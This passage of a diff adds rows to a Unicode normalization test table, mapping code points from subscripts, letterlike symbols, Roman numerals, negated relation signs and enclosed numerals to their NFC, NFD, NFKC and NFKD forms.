+{ source: [0x2084], NFC: [0x2084], NFD: [0x2084], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x2085], NFC: [0x2085], NFD: [0x2085], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x2086], NFC: [0x2086], NFD: [0x2086], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x2087], NFC: [0x2087], NFD: [0x2087], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x2088], NFC: [0x2088], NFD: [0x2088], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x2089], NFC: [0x2089], NFD: [0x2089], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x208A], NFC: [0x208A], NFD: [0x208A], NFKC: [0x002B], NFKD: [0x002B] },
+{ source: [0x208B], NFC: [0x208B], NFD: [0x208B], NFKC: [0x2212], NFKD: [0x2212] },
+{ source: [0x208C], NFC: [0x208C], NFD: [0x208C], NFKC: [0x003D], NFKD: [0x003D] },
+{ source: [0x208D], NFC: [0x208D], NFD: [0x208D], NFKC: [0x0028], NFKD: [0x0028] },
+{ source: [0x208E], NFC: [0x208E], NFD: [0x208E], NFKC: [0x0029], NFKD: [0x0029] },
+{ source: [0x2090], NFC: [0x2090], NFD: [0x2090], NFKC: [0x0061], NFKD: [0x0061] },
+{ source: [0x2091], NFC: [0x2091], NFD: [0x2091], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x2092], NFC: [0x2092], NFD: [0x2092], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x2093], NFC: [0x2093], NFD: [0x2093], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x2094], NFC: [0x2094], NFD: [0x2094], NFKC: [0x0259], NFKD: [0x0259] },
+{ source: [0x2095], NFC: [0x2095], NFD: [0x2095], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x2096], NFC: [0x2096], NFD: [0x2096], NFKC: [0x006B], NFKD: [0x006B] },
+{ source: [0x2097], NFC: [0x2097], NFD: [0x2097], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x2098], NFC: [0x2098], NFD: [0x2098], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x2099], NFC: [0x2099], NFD: [0x2099], NFKC: [0x006E], NFKD: [0x006E] },
+{ source: [0x209A], NFC: [0x209A], NFD: [0x209A], NFKC: [0x0070], NFKD: [0x0070] },
+{ source: [0x209B], NFC: [0x209B], NFD: [0x209B], NFKC: [0x0073], NFKD: [0x0073] },
+{ source: [0x209C], NFC: [0x209C], NFD: [0x209C], NFKC: [0x0074], NFKD: [0x0074] },
+{ source: [0x20A8], NFC: [0x20A8], NFD: [0x20A8], NFKC: [0x0052, 0x0073], NFKD: [0x0052, 0x0073] },
+{ source: [0x2100], NFC: [0x2100], NFD: [0x2100], NFKC: [0x0061, 0x002F, 0x0063], NFKD: [0x0061, 0x002F, 0x0063] },
+{ source: [0x2101], NFC: [0x2101], NFD: [0x2101], NFKC: [0x0061, 0x002F, 0x0073], NFKD: [0x0061, 0x002F, 0x0073] },
+{ source: [0x2102], NFC: [0x2102], NFD: [0x2102], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x2103], NFC: [0x2103], NFD: [0x2103], NFKC: [0x00B0, 0x0043], NFKD: [0x00B0, 0x0043] },
+{ source: [0x2105], NFC: [0x2105], NFD: [0x2105], NFKC: [0x0063, 0x002F, 0x006F], NFKD: [0x0063, 0x002F, 0x006F] },
+{ source: [0x2106], NFC: [0x2106], NFD: [0x2106], NFKC: [0x0063, 0x002F, 0x0075], NFKD: [0x0063, 0x002F, 0x0075] },
+{ source: [0x2107], NFC: [0x2107], NFD: [0x2107], NFKC: [0x0190], NFKD: [0x0190] },
+{ source: [0x2109], NFC: [0x2109], NFD: [0x2109], NFKC: [0x00B0, 0x0046], NFKD: [0x00B0, 0x0046] },
+{ source: [0x210A], NFC: [0x210A], NFD: [0x210A], NFKC: [0x0067], NFKD: [0x0067] },
+{ source: [0x210B], NFC: [0x210B], NFD: [0x210B], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x210C], NFC: [0x210C], NFD: [0x210C], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x210D], NFC: [0x210D], NFD: [0x210D], NFKC: [0x0048], NFKD: [0x0048] },
+{ source: [0x210E], NFC: [0x210E], NFD: [0x210E], NFKC: [0x0068], NFKD: [0x0068] },
+{ source: [0x210F], NFC: [0x210F], NFD: [0x210F], NFKC: [0x0127], NFKD: [0x0127] },
+{ source: [0x2110], NFC: [0x2110], NFD: [0x2110], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x2111], NFC: [0x2111], NFD: [0x2111], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x2112], NFC: [0x2112], NFD: [0x2112], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x2113], NFC: [0x2113], NFD: [0x2113], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x2115], NFC: [0x2115], NFD: [0x2115], NFKC: [0x004E], NFKD: [0x004E] },
+{ source: [0x2116], NFC: [0x2116], NFD: [0x2116], NFKC: [0x004E, 0x006F], NFKD: [0x004E, 0x006F] },
+{ source: [0x2119], NFC: [0x2119], NFD: [0x2119], NFKC: [0x0050], NFKD: [0x0050] },
+{ source: [0x211A], NFC: [0x211A], NFD: [0x211A], NFKC: [0x0051], NFKD: [0x0051] },
+{ source: [0x211B], NFC: [0x211B], NFD: [0x211B], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x211C], NFC: [0x211C], NFD: [0x211C], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x211D], NFC: [0x211D], NFD: [0x211D], NFKC: [0x0052], NFKD: [0x0052] },
+{ source: [0x2120], NFC: [0x2120], NFD: [0x2120], NFKC: [0x0053, 0x004D], NFKD: [0x0053, 0x004D] },
+{ source: [0x2121], NFC: [0x2121], NFD: [0x2121], NFKC: [0x0054, 0x0045, 0x004C], NFKD: [0x0054, 0x0045, 0x004C] },
+{ source: [0x2122], NFC: [0x2122], NFD: [0x2122], NFKC: [0x0054, 0x004D], NFKD: [0x0054, 0x004D] },
+{ source: [0x2124], NFC: [0x2124], NFD: [0x2124], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x2126], NFC: [0x03A9], NFD: [0x03A9], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x2128], NFC: [0x2128], NFD: [0x2128], NFKC: [0x005A], NFKD: [0x005A] },
+{ source: [0x212A], NFC: [0x004B], NFD: [0x004B], NFKC: [0x004B], NFKD: [0x004B] },
+{ source: [0x212B], NFC: [0x00C5], NFD: [0x0041, 0x030A], NFKC: [0x00C5], NFKD: [0x0041, 0x030A] },
+{ source: [0x212C], NFC: [0x212C], NFD: [0x212C], NFKC: [0x0042], NFKD: [0x0042] },
+{ source: [0x212D], NFC: [0x212D], NFD: [0x212D], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x212F], NFC: [0x212F], NFD: [0x212F], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x2130], NFC: [0x2130], NFD: [0x2130], NFKC: [0x0045], NFKD: [0x0045] },
+{ source: [0x2131], NFC: [0x2131], NFD: [0x2131], NFKC: [0x0046], NFKD: [0x0046] },
+{ source: [0x2133], NFC: [0x2133], NFD: [0x2133], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x2134], NFC: [0x2134], NFD: [0x2134], NFKC: [0x006F], NFKD: [0x006F] },
+{ source: [0x2135], NFC: [0x2135], NFD: [0x2135], NFKC: [0x05D0], NFKD: [0x05D0] },
+{ source: [0x2136], NFC: [0x2136], NFD: [0x2136], NFKC: [0x05D1], NFKD: [0x05D1] },
+{ source: [0x2137], NFC: [0x2137], NFD: [0x2137], NFKC: [0x05D2], NFKD: [0x05D2] },
+{ source: [0x2138], NFC: [0x2138], NFD: [0x2138], NFKC: [0x05D3], NFKD: [0x05D3] },
+{ source: [0x2139], NFC: [0x2139], NFD: [0x2139], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x213B], NFC: [0x213B], NFD: [0x213B], NFKC: [0x0046, 0x0041, 0x0058], NFKD: [0x0046, 0x0041, 0x0058] },
+{ source: [0x213C], NFC: [0x213C], NFD: [0x213C], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x213D], NFC: [0x213D], NFD: [0x213D], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x213E], NFC: [0x213E], NFD: [0x213E], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x213F], NFC: [0x213F], NFD: [0x213F], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x2140], NFC: [0x2140], NFD: [0x2140], NFKC: [0x2211], NFKD: [0x2211] },
+{ source: [0x2145], NFC: [0x2145], NFD: [0x2145], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x2146], NFC: [0x2146], NFD: [0x2146], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x2147], NFC: [0x2147], NFD: [0x2147], NFKC: [0x0065], NFKD: [0x0065] },
+{ source: [0x2148], NFC: [0x2148], NFD: [0x2148], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x2149], NFC: [0x2149], NFD: [0x2149], NFKC: [0x006A], NFKD: [0x006A] },
+{ source: [0x2150], NFC: [0x2150], NFD: [0x2150], NFKC: [0x0031, 0x2044, 0x0037], NFKD: [0x0031, 0x2044, 0x0037] },
+{ source: [0x2151], NFC: [0x2151], NFD: [0x2151], NFKC: [0x0031, 0x2044, 0x0039], NFKD: [0x0031, 0x2044, 0x0039] },
+{ source: [0x2152], NFC: [0x2152], NFD: [0x2152], NFKC: [0x0031, 0x2044, 0x0031, 0x0030], NFKD: [0x0031, 0x2044, 0x0031, 0x0030] },
+{ source: [0x2153], NFC: [0x2153], NFD: [0x2153], NFKC: [0x0031, 0x2044, 0x0033], NFKD: [0x0031, 0x2044, 0x0033] },
+{ source: [0x2154], NFC: [0x2154], NFD: [0x2154], NFKC: [0x0032, 0x2044, 0x0033], NFKD: [0x0032, 0x2044, 0x0033] },
+{ source: [0x2155], NFC: [0x2155], NFD: [0x2155], NFKC: [0x0031, 0x2044, 0x0035], NFKD: [0x0031, 0x2044, 0x0035] },
+{ source: [0x2156], NFC: [0x2156], NFD: [0x2156], NFKC: [0x0032, 0x2044, 0x0035], NFKD: [0x0032, 0x2044, 0x0035] },
+{ source: [0x2157], NFC: [0x2157], NFD: [0x2157], NFKC: [0x0033, 0x2044, 0x0035], NFKD: [0x0033, 0x2044, 0x0035] },
+{ source: [0x2158], NFC: [0x2158], NFD: [0x2158], NFKC: [0x0034, 0x2044, 0x0035], NFKD: [0x0034, 0x2044, 0x0035] },
+{ source: [0x2159], NFC: [0x2159], NFD: [0x2159], NFKC: [0x0031, 0x2044, 0x0036], NFKD: [0x0031, 0x2044, 0x0036] },
+{ source: [0x215A], NFC: [0x215A], NFD: [0x215A], NFKC: [0x0035, 0x2044, 0x0036], NFKD: [0x0035, 0x2044, 0x0036] },
+{ source: [0x215B], NFC: [0x215B], NFD: [0x215B], NFKC: [0x0031, 0x2044, 0x0038], NFKD: [0x0031, 0x2044, 0x0038] },
+{ source: [0x215C], NFC: [0x215C], NFD: [0x215C], NFKC: [0x0033, 0x2044, 0x0038], NFKD: [0x0033, 0x2044, 0x0038] },
+{ source: [0x215D], NFC: [0x215D], NFD: [0x215D], NFKC: [0x0035, 0x2044, 0x0038], NFKD: [0x0035, 0x2044, 0x0038] },
+{ source: [0x215E], NFC: [0x215E], NFD: [0x215E], NFKC: [0x0037, 0x2044, 0x0038], NFKD: [0x0037, 0x2044, 0x0038] },
+{ source: [0x215F], NFC: [0x215F], NFD: [0x215F], NFKC: [0x0031, 0x2044], NFKD: [0x0031, 0x2044] },
+{ source: [0x2160], NFC: [0x2160], NFD: [0x2160], NFKC: [0x0049], NFKD: [0x0049] },
+{ source: [0x2161], NFC: [0x2161], NFD: [0x2161], NFKC: [0x0049, 0x0049], NFKD: [0x0049, 0x0049] },
+{ source: [0x2162], NFC: [0x2162], NFD: [0x2162], NFKC: [0x0049, 0x0049, 0x0049], NFKD: [0x0049, 0x0049, 0x0049] },
+{ source: [0x2163], NFC: [0x2163], NFD: [0x2163], NFKC: [0x0049, 0x0056], NFKD: [0x0049, 0x0056] },
+{ source: [0x2164], NFC: [0x2164], NFD: [0x2164], NFKC: [0x0056], NFKD: [0x0056] },
+{ source: [0x2165], NFC: [0x2165], NFD: [0x2165], NFKC: [0x0056, 0x0049], NFKD: [0x0056, 0x0049] },
+{ source: [0x2166], NFC: [0x2166], NFD: [0x2166], NFKC: [0x0056, 0x0049, 0x0049], NFKD: [0x0056, 0x0049, 0x0049] },
+{ source: [0x2167], NFC: [0x2167], NFD: [0x2167], NFKC: [0x0056, 0x0049, 0x0049, 0x0049], NFKD: [0x0056, 0x0049, 0x0049, 0x0049] },
+{ source: [0x2168], NFC: [0x2168], NFD: [0x2168], NFKC: [0x0049, 0x0058], NFKD: [0x0049, 0x0058] },
+{ source: [0x2169], NFC: [0x2169], NFD: [0x2169], NFKC: [0x0058], NFKD: [0x0058] },
+{ source: [0x216A], NFC: [0x216A], NFD: [0x216A], NFKC: [0x0058, 0x0049], NFKD: [0x0058, 0x0049] },
+{ source: [0x216B], NFC: [0x216B], NFD: [0x216B], NFKC: [0x0058, 0x0049, 0x0049], NFKD: [0x0058, 0x0049, 0x0049] },
+{ source: [0x216C], NFC: [0x216C], NFD: [0x216C], NFKC: [0x004C], NFKD: [0x004C] },
+{ source: [0x216D], NFC: [0x216D], NFD: [0x216D], NFKC: [0x0043], NFKD: [0x0043] },
+{ source: [0x216E], NFC: [0x216E], NFD: [0x216E], NFKC: [0x0044], NFKD: [0x0044] },
+{ source: [0x216F], NFC: [0x216F], NFD: [0x216F], NFKC: [0x004D], NFKD: [0x004D] },
+{ source: [0x2170], NFC: [0x2170], NFD: [0x2170], NFKC: [0x0069], NFKD: [0x0069] },
+{ source: [0x2171], NFC: [0x2171], NFD: [0x2171], NFKC: [0x0069, 0x0069], NFKD: [0x0069, 0x0069] },
+{ source: [0x2172], NFC: [0x2172], NFD: [0x2172], NFKC: [0x0069, 0x0069, 0x0069], NFKD: [0x0069, 0x0069, 0x0069] },
+{ source: [0x2173], NFC: [0x2173], NFD: [0x2173], NFKC: [0x0069, 0x0076], NFKD: [0x0069, 0x0076] },
+{ source: [0x2174], NFC: [0x2174], NFD: [0x2174], NFKC: [0x0076], NFKD: [0x0076] },
+{ source: [0x2175], NFC: [0x2175], NFD: [0x2175], NFKC: [0x0076, 0x0069], NFKD: [0x0076, 0x0069] },
+{ source: [0x2176], NFC: [0x2176], NFD: [0x2176], NFKC: [0x0076, 0x0069, 0x0069], NFKD: [0x0076, 0x0069, 0x0069] },
+{ source: [0x2177], NFC: [0x2177], NFD: [0x2177], NFKC: [0x0076, 0x0069, 0x0069, 0x0069], NFKD: [0x0076, 0x0069, 0x0069, 0x0069] },
+{ source: [0x2178], NFC: [0x2178], NFD: [0x2178], NFKC: [0x0069, 0x0078], NFKD: [0x0069, 0x0078] },
+{ source: [0x2179], NFC: [0x2179], NFD: [0x2179], NFKC: [0x0078], NFKD: [0x0078] },
+{ source: [0x217A], NFC: [0x217A], NFD: [0x217A], NFKC: [0x0078, 0x0069], NFKD: [0x0078, 0x0069] },
+{ source: [0x217B], NFC: [0x217B], NFD: [0x217B], NFKC: [0x0078, 0x0069, 0x0069], NFKD: [0x0078, 0x0069, 0x0069] },
+{ source: [0x217C], NFC: [0x217C], NFD: [0x217C], NFKC: [0x006C], NFKD: [0x006C] },
+{ source: [0x217D], NFC: [0x217D], NFD: [0x217D], NFKC: [0x0063], NFKD: [0x0063] },
+{ source: [0x217E], NFC: [0x217E], NFD: [0x217E], NFKC: [0x0064], NFKD: [0x0064] },
+{ source: [0x217F], NFC: [0x217F], NFD: [0x217F], NFKC: [0x006D], NFKD: [0x006D] },
+{ source: [0x2189], NFC: [0x2189], NFD: [0x2189], NFKC: [0x0030, 0x2044, 0x0033], NFKD: [0x0030, 0x2044, 0x0033] },
+{ source: [0x219A], NFC: [0x219A], NFD: [0x2190, 0x0338], NFKC: [0x219A], NFKD: [0x2190, 0x0338] },
+{ source: [0x219B], NFC: [0x219B], NFD: [0x2192, 0x0338], NFKC: [0x219B], NFKD: [0x2192, 0x0338] },
+{ source: [0x21AE], NFC: [0x21AE], NFD: [0x2194, 0x0338], NFKC: [0x21AE], NFKD: [0x2194, 0x0338] },
+{ source: [0x21CD], NFC: [0x21CD], NFD: [0x21D0, 0x0338], NFKC: [0x21CD], NFKD: [0x21D0, 0x0338] },
+{ source: [0x21CE], NFC: [0x21CE], NFD: [0x21D4, 0x0338], NFKC: [0x21CE], NFKD: [0x21D4, 0x0338] },
+{ source: [0x21CF], NFC: [0x21CF], NFD: [0x21D2, 0x0338], NFKC: [0x21CF], NFKD: [0x21D2, 0x0338] },
+{ source: [0x2204], NFC: [0x2204], NFD: [0x2203, 0x0338], NFKC: [0x2204], NFKD: [0x2203, 0x0338] },
+{ source: [0x2209], NFC: [0x2209], NFD: [0x2208, 0x0338], NFKC: [0x2209], NFKD: [0x2208, 0x0338] },
+{ source: [0x220C], NFC: [0x220C], NFD: [0x220B, 0x0338], NFKC: [0x220C], NFKD: [0x220B, 0x0338] },
+{ source: [0x2224], NFC: [0x2224], NFD: [0x2223, 0x0338], NFKC: [0x2224], NFKD: [0x2223, 0x0338] },
+{ source: [0x2226], NFC: [0x2226], NFD: [0x2225, 0x0338], NFKC: [0x2226], NFKD: [0x2225, 0x0338] },
+{ source: [0x222C], NFC: [0x222C], NFD: [0x222C], NFKC: [0x222B, 0x222B], NFKD: [0x222B, 0x222B] },
+{ source: [0x222D], NFC: [0x222D], NFD: [0x222D], NFKC: [0x222B, 0x222B, 0x222B], NFKD: [0x222B, 0x222B, 0x222B] },
+{ source: [0x222F], NFC: [0x222F], NFD: [0x222F], NFKC: [0x222E, 0x222E], NFKD: [0x222E, 0x222E] },
+{ source: [0x2230], NFC: [0x2230], NFD: [0x2230], NFKC: [0x222E, 0x222E, 0x222E], NFKD: [0x222E, 0x222E, 0x222E] },
+{ source: [0x2241], NFC: [0x2241], NFD: [0x223C, 0x0338], NFKC: [0x2241], NFKD: [0x223C, 0x0338] },
+{ source: [0x2244], NFC: [0x2244], NFD: [0x2243, 0x0338], NFKC: [0x2244], NFKD: [0x2243, 0x0338] },
+{ source: [0x2247], NFC: [0x2247], NFD: [0x2245, 0x0338], NFKC: [0x2247], NFKD: [0x2245, 0x0338] },
+{ source: [0x2249], NFC: [0x2249], NFD: [0x2248, 0x0338], NFKC: [0x2249], NFKD: [0x2248, 0x0338] },
+{ source: [0x2260], NFC: [0x2260], NFD: [0x003D, 0x0338], NFKC: [0x2260], NFKD: [0x003D, 0x0338] },
+{ source: [0x2262], NFC: [0x2262], NFD: [0x2261, 0x0338], NFKC: [0x2262], NFKD: [0x2261, 0x0338] },
+{ source: [0x226D], NFC: [0x226D], NFD: [0x224D, 0x0338], NFKC: [0x226D], NFKD: [0x224D, 0x0338] },
+{ source: [0x226E], NFC: [0x226E], NFD: [0x003C, 0x0338], NFKC: [0x226E], NFKD: [0x003C, 0x0338] },
+{ source: [0x226F], NFC: [0x226F], NFD: [0x003E, 0x0338], NFKC: [0x226F], NFKD: [0x003E, 0x0338] },
+{ source: [0x2270], NFC: [0x2270], NFD: [0x2264, 0x0338], NFKC: [0x2270], NFKD: [0x2264, 0x0338] },
+{ source: [0x2271], NFC: [0x2271], NFD: [0x2265, 0x0338], NFKC: [0x2271], NFKD: [0x2265, 0x0338] },
+{ source: [0x2274], NFC: [0x2274], NFD: [0x2272, 0x0338], NFKC: [0x2274], NFKD: [0x2272, 0x0338] },
+{ source: [0x2275], NFC: [0x2275], NFD: [0x2273, 0x0338], NFKC: [0x2275], NFKD: [0x2273, 0x0338] },
+{ source: [0x2278], NFC: [0x2278], NFD: [0x2276, 0x0338], NFKC: [0x2278], NFKD: [0x2276, 0x0338] },
+{ source: [0x2279], NFC: [0x2279], NFD: [0x2277, 0x0338], NFKC: [0x2279], NFKD: [0x2277, 0x0338] },
+{ source: [0x2280], NFC: [0x2280], NFD: [0x227A, 0x0338], NFKC: [0x2280], NFKD: [0x227A, 0x0338] },
+{ source: [0x2281], NFC: [0x2281], NFD: [0x227B, 0x0338], NFKC: [0x2281], NFKD: [0x227B, 0x0338] },
+{ source: [0x2284], NFC: [0x2284], NFD: [0x2282, 0x0338], NFKC: [0x2284], NFKD: [0x2282, 0x0338] },
+{ source: [0x2285], NFC: [0x2285], NFD: [0x2283, 0x0338], NFKC: [0x2285], NFKD: [0x2283, 0x0338] },
+{ source: [0x2288], NFC: [0x2288], NFD: [0x2286, 0x0338], NFKC: [0x2288], NFKD: [0x2286, 0x0338] },
+{ source: [0x2289], NFC: [0x2289], NFD: [0x2287, 0x0338], NFKC: [0x2289], NFKD: [0x2287, 0x0338] },
+{ source: [0x22AC], NFC: [0x22AC], NFD: [0x22A2, 0x0338], NFKC: [0x22AC], NFKD: [0x22A2, 0x0338] },
+{ source: [0x22AD], NFC: [0x22AD], NFD: [0x22A8, 0x0338], NFKC: [0x22AD], NFKD: [0x22A8, 0x0338] },
+{ source: [0x22AE], NFC: [0x22AE], NFD: [0x22A9, 0x0338], NFKC: [0x22AE], NFKD: [0x22A9, 0x0338] },
+{ source: [0x22AF], NFC: [0x22AF], NFD: [0x22AB, 0x0338], NFKC: [0x22AF], NFKD: [0x22AB, 0x0338] },
+{ source: [0x22E0], NFC: [0x22E0], NFD: [0x227C, 0x0338], NFKC: [0x22E0], NFKD: [0x227C, 0x0338] },
+{ source: [0x22E1], NFC: [0x22E1], NFD: [0x227D, 0x0338], NFKC: [0x22E1], NFKD: [0x227D, 0x0338] },
+{ source: [0x22E2], NFC: [0x22E2], NFD: [0x2291, 0x0338], NFKC: [0x22E2], NFKD: [0x2291, 0x0338] },
+{ source: [0x22E3], NFC: [0x22E3], NFD: [0x2292, 0x0338], NFKC: [0x22E3], NFKD: [0x2292, 0x0338] },
+{ source: [0x22EA], NFC: [0x22EA], NFD: [0x22B2, 0x0338], NFKC: [0x22EA], NFKD: [0x22B2, 0x0338] },
+{ source: [0x22EB], NFC: [0x22EB], NFD: [0x22B3, 0x0338], NFKC: [0x22EB], NFKD: [0x22B3, 0x0338] },
+{ source: [0x22EC], NFC: [0x22EC], NFD: [0x22B4, 0x0338], NFKC: [0x22EC], NFKD: [0x22B4, 0x0338] },
+{ source: [0x22ED], NFC: [0x22ED], NFD: [0x22B5, 0x0338], NFKC: [0x22ED], NFKD: [0x22B5, 0x0338] },
+{ source: [0x2329], NFC: [0x3008], NFD: [0x3008], NFKC: [0x3008], NFKD: [0x3008] },
+{ source: [0x232A], NFC: [0x3009], NFD: [0x3009], NFKC: [0x3009], NFKD: [0x3009] },
+{ source: [0x2460], NFC: [0x2460], NFD: [0x2460], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x2461], NFC: [0x2461], NFD: [0x2461], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x2462], NFC: [0x2462], NFD: [0x2462], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x2463], NFC: [0x2463], NFD: [0x2463], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x2464], NFC: [0x2464], NFD: [0x2464], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x2465], NFC: [0x2465], NFD: [0x2465], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x2466], NFC: [0x2466], NFD: [0x2466], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x2467], NFC: [0x2467], NFD: [0x2467], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x2468], NFC: [0x2468], NFD: [0x2468], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x2469], NFC: [0x2469], NFD: [0x2469], NFKC: [0x0031, 0x0030], NFKD: [0x0031, 0x0030] },
+{ source: [0x246A], NFC: [0x246A], NFD: [0x246A], NFKC: [0x0031, 0x0031], NFKD: [0x0031, 0x0031] },
+{ source: [0x246B], NFC: [0x246B], NFD: [0x246B], NFKC: [0x0031, 0x0032], NFKD: [0x0031, 0x0032] },
+{ source: [0x246C], NFC: [0x246C], NFD: [0x246C], NFKC: [0x0031, 0x0033], NFKD: [0x0031, 0x0033] },
+{ source: [0x246D], NFC: [0x246D], NFD: [0x246D], NFKC: [0x0031, 0x0034], NFKD: [0x0031, 0x0034] },
+{ source: [0x246E], NFC: [0x246E], NFD: [0x246E], NFKC: [0x0031, 0x0035], NFKD: [0x0031, 0x0035] },
+{ source: [0x246F], NFC: [0x246F], NFD: [0x246F], NFKC: [0x0031, 0x0036], NFKD: [0x0031, 0x0036] },
+{ source: [0x2470], NFC: [0x2470], NFD: [0x2470], NFKC: [0x0031, 0x0037], NFKD: [0x0031, 0x0037] },
+{ source: [0x2471], NFC: [0x2471], NFD: [0x2471], NFKC: [0x0031, 0x0038], NFKD: [0x0031, 0x0038] },
+{ source: [0x2472], NFC: [0x2472], NFD: [0x2472], NFKC: [0x0031, 0x0039], NFKD: [0x0031, 0x0039] },
+{ source: [0x2473], NFC: [0x2473], NFD: [0x2473], NFKC: [0x0032, 0x0030], NFKD: [0x0032, 0x0030] },
+{ source: [0x2474], NFC: [0x2474], NFD: [0x2474], NFKC: [0x0028, 0x0031, 0x0029], NFKD: [0x0028, 0x0031, 0x0029] },
+{ source: [0x2475], NFC: [0x2475], NFD: [0x2475], NFKC: [0x0028, 0x0032, 0x0029], NFKD: [0x0028, 0x0032, 0x0029] },
+{ source: [0x2476], NFC: [0x2476], NFD: [0x2476], NFKC: [0x0028, 0x0033, 0x0029], NFKD: [0x0028, 0x0033, 0x0029] },
+{ source: [0x2477], NFC: [0x2477], NFD: [0x2477], NFKC: [0x0028, 0x0034, 0x0029], NFKD: [0x0028, 0x0034, 0x0029] },
+{ source: [0x2478], NFC: [0x2478], NFD: [0x2478], NFKC: [0x0028, 0x0035, 0x0029], NFKD: [0x0028, 0x0035, 0x0029] },
+{ source: [0x2479], NFC: [0x2479], NFD: [0x2479], NFKC: [0x0028, 0x0036, 0x0029], NFKD: [0x0028, 0x0036, 0x0029] },
+{ source: [0x247A], NFC: [0x247A], NFD: [0x247A], NFKC: [0x0028, 0x0037, 0x0029], NFKD: [0x0028, 0x0037, 0x0029] },
+{ source: [0x247B], NFC: [0x247B], NFD: [0x247B], NFKC: [0x0028, 0x0038, 0x0029], NFKD: [0x0028, 0x0038, 0x0029] },
+{ source: [0x247C], NFC: [0x247C], NFD: [0x247C], NFKC: [0x0028, 0x0039, 0x0029], NFKD: [0x0028, 0x0039, 0x0029] },
+{ source: [0x247D], NFC: [0x247D], NFD: [0x247D], NFKC: [0x0028, 0x0031, 0x0030, 0x0029], NFKD: [0x0028, 0x0031, 0x0030, 0x0029] },
+{ source: [0x247E], NFC: [0x247E], NFD: [0x247E], NFKC: [0x0028, 0x0031, 0x0031, 0x0029], NFKD: [0x0028, 0x0031, 0x0031, 0x0029] },
+{ source: [0x247F], NFC: [0x247F], NFD: [0x247F], NFKC: [0x0028, 0x0031, 0x0032, 0x0029], NFKD: [0x0028, 0x0031, 0x0032, 0x0029] },
+{ source: [0x2480], NFC: [0x2480], NFD: [0x2480], NFKC: [0x0028, 0x0031, 0x0033, 0x0029], NFKD: [0x0028, 0x0031, 0x0033, 0x0029] },
+{ source: [0x2481], NFC: [0x2481], NFD: [0x2481], NFKC: [0x0028, 0x0031, 0x0034, 0x0029], NFKD: [0x0028, 0x0031, 0x0034, 0x0029] },
+{ source: [0x2482], NFC: [0x2482], NFD: [0x2482], NFKC: [0x0028, 0x0031, 0x0035, 0x0029], NFKD: [0x0028, 0x0031, 0x0035, 0x0029] },
+{ source: [0x2483], NFC: [0x2483], NFD: [0x2483], NFKC: [0x0028, 0x0031, 0x0036, 0x0029], NFKD: [0x0028, 0x0031, 0x0036, 0x0029] },
+{ source: [0x2484], NFC: [0x2484], NFD: [0x2484], NFKC: [0x0028, 0x0031, 0x0037, 0x0029], NFKD: [0x0028, 0x0031, 0x0037, 0x0029] },
+{ source: [0x2485], NFC: [0x2485], NFD: [0x2485], NFKC: [0x0028, 0x0031, 0x0038, 0x0029], NFKD: [0x0028, 0x0031, 0x0038, 0x0029] },
+{ source: [0x2486], NFC: [0x2486], NFD: [0x2486], NFKC: [0x0028, 0x0031, 0x0039, 0x0029], NFKD: [0x0028, 0x0031, 0x0039, 0x0029] },
+{ source: [0x2487], NFC: [0x2487], NFD: [0x2487], NFKC: [0x0028, 0x0032, 0x0030, 0x0029], NFKD: [0x0028, 0x0032, 0x0030, 0x0029] },
+{ source: [0x2488], NFC: [0x2488], NFD: [0x2488], NFKC: [0x0031, 0x002E], NFKD: [0x0031, 0x002E] },
+{ source: [0x2489], NFC: [0x2489], NFD: [0x2489], NFKC: [0x0032, 0x002E], NFKD: [0x0032, 0x002E] },
+{ source: [0x248A], NFC: [0x248A], NFD: [0x248A], NFKC: [0x0033, 0x002E], NFKD: [0x0033, 0x002E] },
+{ source: [0x248B], NFC: [0x248B], NFD: [0x248B], NFKC: [0x0034, 0x002E], NFKD: [0x0034, 0x002E] },
+{ source: [0x248C], NFC: [0x248C], NFD: [0x248C], NFKC: [0x0035, 0x002E], NFKD: [0x0035, 0x002E] },
+{ source: [0x248D], NFC: [0x248D], NFD: [0x248D], NFKC: [0x0036, 0x002E], NFKD: [0x0036, 0x002E] },
+{ source: [0x248E], NFC: [0x248E], NFD: [0x248E], NFKC: [0x0037, 0x002E], NFKD: [0x0037, 0x002E] },
